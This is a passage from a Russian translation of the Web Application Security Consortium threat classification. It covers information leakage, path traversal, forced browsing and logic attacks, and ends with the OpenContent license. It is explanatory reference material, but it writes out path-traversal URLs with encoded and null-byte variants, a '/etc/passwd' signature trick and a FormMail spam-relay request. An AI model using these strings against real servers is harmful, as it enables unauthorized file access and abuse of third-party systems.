http://www.microsoft.com/downloads/details.aspx?FamilyID=DDE9EFC0-BB30-
47EB-9A61-FD755D23CDEC&displaylang=en

"URLScan Tool"
http://www.microsoft.com/downloads/details.aspx?FamilyID=f4c5a724-cafa-
4e88-8c37-c9d5abed1863&DisplayLang=en

"ServerMask Tool"
http://www.port80software.com/products/servermask/

5.3 Утечка информации (Information Leakage)
Эти уязвимости возникают в ситуациях, когда сервер публикует важную информацию, например комментарии разработчиков или сообщения об ошибках, которая может быть использована для компрометации системы. Ценные с точки зрения злоумышленника данные могут содержаться в комментариях HTML, сообщениях об ошибках или просто присутствовать в открытом виде. Существует огромное количество ситуаций, в которых может произойти утечка информации. Не обязательно она приводит к возникновению уязвимости, но часто дает атакующему прекрасное пособие для развития атаки. С утечкой важной информации могут возникать риски различной степени, поэтому необходимо минимизировать количество служебной информации, доступной на клиентской стороне.
Анализ доступной информации позволяет злоумышленнику произвести разведку и получить представление о структуре директорий сервера, используемых SQL запросах, названиях ключевых процессов и программ сервера.
Часто разработчики оставляют комментарии в HTML страницах и коде сценариев для облегчения поиска ошибок и поддержки приложения. Эта информация может варьироваться от простых описаний деталей функционирования программы до, в худших случаях, имен пользователей и паролей, используемых при отладке.
Утечка информации может относиться и к конфиденциальным данным, обрабатываемым сервером. Это могут быть идентификаторы пользователя (ИНН, номера водительских удостоверений, паспортов и т.д.), а также текущая информация (баланс лицевого счета или история платежей).
Многие атаки этой категории выходят за рамки защиты Web-приложений и переходят в область физической безопасности. Утечка информации в этом случае часто возникает, когда в браузере отображается информация, которая не должна выводиться в открытом виде даже пользователю. В качестве примера можно привести пароли пользователя, номера кредитных карточек и т.д.

Примеры
Далее рассматриваются три основных категории утечки информации: комментарии разработчиков, сообщения об ошибках и отображение конфиденциальной информации.

Комментарии в коде.

<TABLE border="0" cellPadding="0" cellSpacing="0"
height="59" width="591">
<TBODY>
<TR>
<!--If the image files are missing,
restart VADER -->
<TD bgColor="#ffffff" colSpan="5"
height="17" width="587">&nbsp;</TD>
</TR>

Выше приведен комментарий разработчиков или тестировщиков, который указывает на то, что в случае проблем с загрузкой изображений необходимо перезагрузить сервер VADER.

Подробные сообщения об ошибках могут возникать в результате специально сформированного запроса. Ниже приведен пример сообщения, типичного для ошибки, возникающей в результате SQL-запроса. Для реализации атаки с внедрением кода SQL обычно требуется знание структуры запросов, осуществляемых Web-сервером. Информация, передаваемая в подробной информации об ошибке может быть использована для построения атакующим корректных запасов к серверу баз данных.
Ниже приведено сообщение, выдаваемое сервером при вводе символа апострофа в качестве имени пользователя.

An Error Has Occurred.
Error Message:
System.Data.OleDb.OleDbException: Syntax error (missing
operator) in query expression 'username = ''' and password =
'g''. at
System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling (
Int32 hr) at
System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult
( tagDBPARAMS dbParams, Object& executeResult) at

В первой части сообщения выводится часть запроса, вызвавшего ошибку. По этой информации злоумышленник может получить информацию об используемых параметрах запроса и месте запроса, в котором осуществляется внедрение кода.

Ссылки
"Best practices with custom error pages in .Net", Microsoft Support
http://support.microsoft.com/default.aspx?scid=kb;en-us;834452

"Creating Custom ASP Error Pages", Microsoft Support
http://support.microsoft.com/default.aspx?scid=kb;en-us;224070

"Apache Custom Error Pages", Code Style
http://www.codestyle.org/sitemanager/apache/errors-Custom.shtml

"Customizing the Look of Error Messages in JSP", DrewFalkman.com
http://www.drewfalkman.com/resources/CustomErrorPages.cfm

ColdFusion Custom Error Pages
http://livedocs.macromedia.com/coldfusion/6/Developing_ColdFusion_MX_Applications_with_CFML/Errors6.htm

Obfuscators :
JAVA
http://www.cs.auckland.ac.nz/~cthombor/Students/hlai/hongying.pdf

5.4 Обратный путь в директориях (Path Traversal)
Данная техника атак направлена на получения доступа к файлам, директориям и командам, находящимся вне основной директории Web-сервера. Злоумышленник может манипулировать параметрами URL с целью получить доступ к файлам или выполнить команды, располагаемые в файловой системе Web-сервера. Для подобных атак потенциально уязвимо любое устройство, имеющее Web-интерфейс.
Многие Web-серверы ограничивают доступ пользователя определенной частью файловой системы, обычно называемой "web document root" или "CGI root". Эти директории содержат файлы, предназначенные для пользователя и программы, необходимые для получения доступа к функциям Web-приложения.
Большинство базовых атак, эксплуатирующих обратный путь, основаны на внедрении в URL символов "../", для того, чтобы изменить расположение ресурса, который будет обрабатываться сервером. Поскольку большинство Web-серверов фильтруют эту последовательность, злоумышленник может воспользоваться альтернативными кодировками для представления символов перехода по директориям. Популярные приемы включают использование альтернативных кодировок, например Unicode ("..%u2216" или "..%c0%af"), использование обратного слеша ("..\") в Windows-серверах, символов URLEncode ("%2e%2e%2f") или двойная кодировка URLEncode ("..%255c").
Даже если Web-сервер ограничивает доступ к файлам определенным каталогом, эта уязвимость может возникать в сценариях или CGI-программах. Возможность использования обратного пути в каталогах довольно часто возникает в приложениях, использующих механизмы шаблонов или загружают их текст страниц из файлов на сервере. В этом варианте атаки злоумышленник модифицирует имя файла, передаваемое в качестве параметра CGI-программы или серверного сценария. В результате злоумышленник может получить исходный код сценариев. Довольно часто к имени запрашиваемого файла добавляются специальные символы, такие как "%00", с целью обхода фильтров.

Примеры

Обратный путь в каталогах Web-сервера
http://example/../../../../../some/file
http://example/..%255c..%255c..%255csome/file
http://example/..%u2216..%u2216some/file

Обратный путь в каталогах Web-приложения
Исходный URL: http://example/foo.cgi?home=index.htm
Атака: http://example/foo.cgi?home=foo.cgi

В приведенном сценарии Web-приложение генерирует страницу, содержащую исходный код сценария foo.cgi, поскольку значение переменной home используется как имя загружаемого файла. Обратите внимание, что в данном случае злоумышленник не использует специальных символов, поскольку целью является файл в той же директории, в которой располагается файл index.htm.

Обратный путь в каталогах Web-приложения с использованием специальных символов:

Исходный URL:
http://example/scripts/foo.cgi?page=menu.txt
Атака:
http://example/scripts/foo.cgi?page=../scripts/foo.cgi%00txt

В приведенном примере Web-приложение загружает исходный текст сценария foo.cgi. Атакующий использует символы "../" для перехода на уровень выше по дереву каталогов и перехода в директорию /scripts. Символ "%00" используется для обхода проверки расширения файла (приложение позволяет обращаться только к файлам .txt)и для того, чтобы расширение не использовалось при загрузке файла.

Reference
"CERT© Advisory CA-2001-12 Superfluous Decoding Vulnerability in IIS"
http://www.cert.org/advisories/CA-2001-12.html

"Novell Groupwise Arbitrary File Retrieval Vulnerability"
http://www.securityfocus.com/bid/3436/info/

5.5 Предсказуемое расположение ресурсов (Predictable Resource Location)
Предсказуемое расположение ресурсов позволяет злоумышленнику получить доступ к скрытым данным или функциональным возможностям. Путем подбора злоумышленник может получить доступ к содержимому, не предназначенному для публичного просмотра. Временные файлы, файлы резервных копий, файлы конфигурации или стандартные примеры часто являются целью подобных атак. В большинстве случаев перебор может быть оптимизирован путем использования стандартного соглашения об именах файлов и директорий сервера. Получаемые злоумышленником файлы могут содержать информацию о дизайне приложения, информацию из баз данных, имена машин или пароли, пути к директориям. Также «скрытые» файлы могут содержать уязвимости, отсутствующие в основном приложении. На эту атаку часто ссылаются как на перечисление файлов и директорий (Forced Browsing, File Enumeration, Directory Enumeration).


Пример
Атакующий может создать запрос к любому файлу или папке на сервере. Наличие или отсутствие ресурса определяется по коду ошибки (например, 404 в случае отсутствия папки или 403 в случае её наличия на сервере). Ниже приведены варианты подобных запросов.

Слепой поиск популярных названий директорий:
/admin/
/backup/
/logs/
/vulnerable_file.cgi

Изменение расширений существующего файла: (/test.asp)
/test.asp.bak
/test.bak
/test

6 Логические атаки (Logical Attacks)
Атаки данного класса направлены на эксплуатацию функций приложения или логики его функционирования. Логика приложения представляет собой ожидаемый процесс функционирования программы при выполнении определенных действий. В качестве примеров можно привести восстановление пролей, регистрацию учетных записей, , аукционные торги, транзакции в системах электронной коммерции. Приложение может требовать от пользователя корректного выполнения нескольких последовательных действий для выполнения определенной задачи. Злоумышленник может обойти или использовать эти механизмы в своих целях.

6.1 Злоупотребление функциональными возможностями (Abuse of Functionality).
Данные атаки направлены на использование функций Web-приложения с целью обхода механизмов разграничение доступа. Некоторые механизмы Web-приложения, включая функции обеспечения безопасности, могут быть использованы для этих целей. Наличие уязвимости в одном из, возможно, второстепенных компонентов приложения может привести к компрометации всего приложения. Уровень риска и потенциальные возможности злоумышленника в случае проведения атаки очень сильно зависят от конкретного приложения.
Злоупотребление функциональными возможностями очень часто используется совместно с другими атаками, такими как обратный путь в директориях и т.д. К примеру, при наличии уязвимости типа межсайтовое выполнение сценариев в HTML-чате злоумышленник может использовать функции чата для рассылки URL, эксплуатирующий уязвимость, всем текущим пользователям.
С глобальной точки зрения, все атаки на компьютерные системы являются злоупотреблениями функциональными возможностями. Особенно это относится к атакам, направленным на Web-приложения, которые не требуют модификации функций программы.

Пример

Примеры злоупотребления функциональными возможностями включают в себя:
- Использования функций поиска для получения доступа к файлам за пределами корневой директории Web-сервера;
- Использование функции загрузки файлов на сервер для перезаписи файлов конфигурации или внедрения серверных сценариев;
- Реализация отказа в обслуживании путем использования функции блокировки учетной записи при многократном вводе неправильного пароля.

Ниже приведены реальные примеры подобных уязвимостей, взятые из реальной жизни.

Программа Matt Wright FormMail
Программа "FormMail" представляет собой приложение на языке PERL, используемое для передачи данных из HTML-формы на указанный почтовый адрес. Этот сценарий довольно удобно использовать для организации функции обратной связи на сервере. К сожалению, эта программа предоставляла злоумышленнику возможность передавать почтовые сообщения любому почтовому пользователю. Таким образом, приложение могло быть использовано в качестве почтового ретранслятора для рассылки спама.
Злоумышленник использовал параметры URL GET-запроса для указания получателя почтового сообщения, к примеру:

http://example/cgi-bin/FormMail.pl? recipient=email@victim.example&message=you%20got%20spam

В качестве отправителя почтового сообщения указывался адрес Web-сервера, что позволяло злоумышленнику оставаться полностью анонимным.

Macromedia's Cold Fusion
Иногда базовый интерфейс администрирования, поставляемый вместе с Web-приложением, может использоваться с непредусмотренными разработчиками целями. К примеру, Macromedia's Cold Fusion по умолчанию имеет модуль, позволяющий просматривать исходный код сценариев. Злоупотребление этой функцией может привести к получению критичной информации Web-приложения. Удаление или отключение этой функции весьма проблематично, поскольку от него зависят важные компоненты приложения.

Модификация цены в Smartwin CyberOffice
Иногда изменение данных, обрабатываемых приложением, может позволить модифицировать поведение программы. К примеру, уязвимость в функции покупки приложения CyberOffice позволяла модифицировать значение цены, передаваемой пользователю в скрытом поле HTML-формы. Страница подтверждения заказа загружалась злоумышленником, модифицировалась на клиенте и передавалась серверу уже с модифицированным значением цены.

Ссылки
"FormMail Real Name/Email Address CGI Variable Spamming Vulnerability"
http://www.securityfocus.com/bid/3955

"CVE-1999-0800"
http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0800

"CA Unicenter pdmcgi.exe View Arbitrary File"
http://www.osvdb.org/displayvuln.php?osvdb_id=3247

"PeopleSoft PeopleBooks Search CGI Flaw"
http://www.osvdb.org/displayvuln.php?osvdb_id=2815

"iisCART2000 Upload Vulnerability"
http://secunia.com/advisories/8927/

"PROTEGO Security Advisory #PSA200401"
http://www.protego.dk/advisories/200401.html

"Price modification possible in CyberOffice Shopping Cart"
http://archives.neohapsis.com/archives/bugtraq/2000-10/0011.html

6.2 Отказ в обслуживании (Denial of Service).
Данный класс атак направлен на нарушение доступности Web-сервера. Обычно атаки, направленные на отказ в обслуживании реализуются на сетевом уровне, однако они могут быть направлены и на прикладной уровень. Используя функции Web-приложения, злоумышленник может исчерпать критичные ресурсы системы, или воспользоваться уязвимостью, приводящий к прекращению функционирования системы.
Обычно DoS атаки направлены на исчерпание критичных системных ресурсов, таких как вычислительные мощности, оперативная память, дисковое пространство или пропускная способность каналов связи. Если какой-то из ресурсов достигнет максимальной загрузки, приложение целиком будет недоступно.
Атаки могут быть направлены на любой из компонентов Web-приложения, например, такие как сервер СУБД, сервер аутентификации и т.д. В отличии от атак на сетевом уровне, требующих значительных ресурсов злоумышленника, атаки на прикладном уровне обычно легче реализовать.

Примеры
Предположим, что сервер Health-Care генерирует отчеты о клинической истории пользователей. Для генерации каждого отчета сервер запрашивает все записи, соответствующие определенному номеру социального страхования. Поскольку в базе содержатся сотни миллионов записей, пользователю приходится ожидать результата несколько минут. В это время загрузка процессора сервера СУБД достигает 60%.
Злоумышленник может послать десять одновременных запросов на получение отчетов, что с высокой вероятностью приведет к отказу в обслуживании, поскольку загрузка процессора сервера баз данных достигнет максимального значения. На время обработки запросов злоумышленника нормальная работа сервера будет невозможна.

DoS на другой сервер
Злоумышленник может разместить на популярном Web-форуме ссылку (например, в виде изображения в сообщении) на другой ресурс. При заходе на форум, пользователи будут автоматически загружать данные с атакуемого сервера указанный ресурс, используя его ресурсы. Если на атакуемом сервере используется система предотвращения атак с функцией блокировки IP-адреса атакующего, в ссылке может использоваться сигнатура атаки (например ../../../../../etc/passwd), что приведет к блокировке пользователей, зашедших на форум.

Атаки на сервер СУБД
Злоумышленник может воспользоваться внедрением кода SQL для удаления данных из таблиц, что приведет к отказу в обслуживания приложения.

6.3 Недостаточное противодействие автоматизации (Insufficient Anti-automation)
Недостаточное противодействие автоматизации возникает, когда сервер позволяет автоматически выполнять операции, которые должны проводиться вручную. Для некоторых функций приложения необходимо реализовывать защиту от автоматических атак.
Автоматизированные программы могут варьироваться от безобидных роботов поисковых систем до систем автоматизированного поиска уязвимостей и регистрации учетных записей. Подобные роботы генерируют тысячи запросов в минуту, что может привести к падению производительности всего приложения.
Противодействие автоматизации заключается в ограничении возможностей подобных утилит. Например, файл robots может предотвращать индексирование некоторых частей сервера, а дополнительные средства идентификации предотвращать автоматическую регистрацию сотен учетных записей системы электронной почты.


Ссылки
Telling Humans Apart (Automatically)
http://www.captcha.net/

"Ravaged by Robots!", By Randal L. Schwartz
http://www.webtechniques.com/archives/2001/12/perl/

".Net Components Make Visual Verification Easier", By JingDong (Jordan) Zhang
http://go.cadwire.net/?3870,3,1

"Vorras Antibot"
http://www.vorras.com/products/antibot/

"Inaccessibility of Visually-Oriented Anti-Robot Tests"
http://www.w3.org/TR/2003/WD-turingtest-20031105/


6.4 Недостаточная проверка процесса (Insufficient Process Validation)
Уязвимости этого класса возникают, когда сервер не достаточно проверяет последовательность выполнения операций приложения. Если состояние сессии пользователя и приложения должным образом не контролируется, приложение может быть уязвимо для мошеннических действий.
В процессе доступа к некоторым функциям приложения ожидается, что пользователь выполнит ряд действий в определенном порядке. Если некоторые действия выполняются неверно или в неправильном порядке, возникает ошибка, приводящая к нарушению целостности. Примерами подобных функций выступают переводы, восстановление паролей, подтверждение покупки, создание учетной записи и т.д. В большинстве случаев эти процессы состоят из ряда последовательных действий, осуществляемых в четком порядке.
Для обеспечения корректной работы подобных функций Web-приложение должно четко отслеживать состояние сессии пользователя и отслеживать её соответствие текущим операциям. В большинстве случаев это осуществляется путем сохранения состояния сессии в cookie или скрытом поле формы HTML. Но поскольку эти значения могут быть модифицированы пользователем, обязательно должна проводиться проверка этих значений на сервере. Если этого не происходит, злоумышленник получает возможность обойти последовательность действий, и как следствие - логику приложения.

Пример

Система электронной торговли может предлагать скидку на продукт B, в случае покупки продукта A. Пользователь, не желающий покупать продукт A, может попытаться приобрести продукт B со скидкой. Заполнив заказ на покупку обоих продуктов, пользователь получат скидку. Затем пользователь возвращается к форме подтверждения заказа и удаляет продукт A из покупаемых, путем модификации значений в форме. Если сервер повторно не проверит возможность покупки продукта B по указанной цене без продукта A, будет осуществлена закупка по низкой цене.

Ссылки

"Dos and Don'ts of Client Authentication on the Web", Kevin Fu, Emil
Sit, Kendra Smith, Nick Feamster - MIT Laboratory for Computer Science
http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf



КОНТАКТЫ

Web Application Security Consortium
http://www.webappsec.org

Контакты по общим вопросам: contact@webappsec.org


ЛИЦЕНЗИЯ

Terms and Conditions for Copying, Distributing, and Modifying

Items other than copying, distributing, and modifying the Content with
which this license was distributed (such as using, etc.) are outside the
scope of this license.

1. You may copy and distribute exact replicas of the OpenContent
(OC) as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the notices
that refer to this License and to the absence of any warranty; and
give any other recipients of the OC a copy of this License along with
the OC. You may at your option charge a fee for the media and/or
handling involved in creating a unique copy of the OC for use offline,
you may at your option offer instructional support for the OC in
exchange for a fee, or you may at your option offer warranty in
exchange for a fee. You may not charge a fee for the OC itself. You
may not charge a fee for the sole service of providing access to
and/or use of the OC via a network (e.g. the Internet), whether it be
via the world wide web, FTP, or any other method.

2. You may modify your copy or copies of the OpenContent or any
portion of it, thus forming works based on the Content, and distribute
such modifications or work under the terms of Section 1 above,
provided that you also meet all of these conditions:

a) You must cause the modified content to carry prominent notices
stating that you changed it, the exact nature and content of the
changes, and the date of any change.

b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the OC or any part
thereof, to be licensed as a whole at no charge to all third parties
under the terms of this License, unless otherwise permitted under
applicable Fair Use law.

These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the OC, and
can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the OC, the distribution of the whole must be on the terms of this
License, whose permissions for other licensees extend to the entire
whole, and thus to each and every part regardless of who wrote it.
Exceptions are made to this requirement to release modified works
free of charge under this license only in compliance with Fair Use law
where applicable.

3. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to copy,
distribute or modify the OC. These actions are prohibited by law if you
do not accept this License. Therefore, by distributing or translating
the OC, or by deriving works herefrom, you indicate your acceptance
of this License to do so, and all its terms and conditions for copying,
distributing or translating the OC.

NO WARRANTY

4. BECAUSE THE OPENCONTENT (OC) IS LICENSED FREE OF
CHARGE, THERE IS NO WARRANTY FOR THE OC, TO THE
EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS
AND/OR OTHER PARTIES PROVIDE THE OC "AS IS" WITHOUT
WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK OF USE OF THE OC IS WITH YOU.
SHOULD THE OC PROVE FAULTY, INACCURATE, OR
OTHERWISE UNACCEPTABLE YOU ASSUME THE COST OF ALL
NECESSARY REPAIR OR CORRECTION.

5. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR
AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR
ANY OTHER PARTY WHO MAY MIRROR AND/OR REDISTRIBUTE
THE OC AS PERMITTED ABOVE, BE LIABLE TO YOU FOR
DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL
OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR
INABILITY TO USE THE OC, EVEN IF SUCH HOLDER OR OTHER
PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.